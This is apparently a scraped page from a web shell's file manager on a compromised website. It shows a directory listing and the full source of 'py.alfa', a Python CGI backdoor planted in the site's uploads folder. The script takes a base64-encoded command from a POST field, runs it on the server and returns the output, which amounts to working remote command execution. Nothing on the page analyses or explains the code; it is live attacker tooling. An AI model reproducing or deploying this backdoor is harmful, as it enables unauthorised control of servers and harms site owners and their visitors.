PHP 5.3.29
Preview: py.alfa Size: 463 B
/home/kiwothai/domains/kiwothai.com/public_html/uploads/ALFA_DATA/alfacgiapi/py.alfa

#!/usr/bin/python
try:
	import cgitb; cgitb.enable()
except:
	pass
import os,cgi,base64
form = cgi.FieldStorage(environ={'REQUEST_METHOD':'POST'})
cmd = form.getvalue('cmd')
check = form.getvalue('check')
print "Content-type:text/html\r\n\r\n"
if cmd:
	print base64.b64decode(check)+"<pre>"
	child_stdin, child_stdout = os.popen2(base64.b64decode(cmd))
	child_stdin.close()
	result = child_stdout.read()
	child_stdout.close()
	print result.strip()
	print "</pre>"

Directory Contents

Dirs: 0 × Files: 4

Name Size Perms Modified Actions
146 B lrw-r--r-- 2024-12-11 23:56:09
Edit Download
1.52 KB lrwxr-xr-x 2024-12-11 23:56:09
Edit Download
542 B lrwxr-xr-x 2024-12-11 23:56:09
Edit Download
463 B lrwxr-xr-x 2024-12-11 23:56:09
Edit Download

If ZipArchive is unavailable, a .tar will be created (no compression).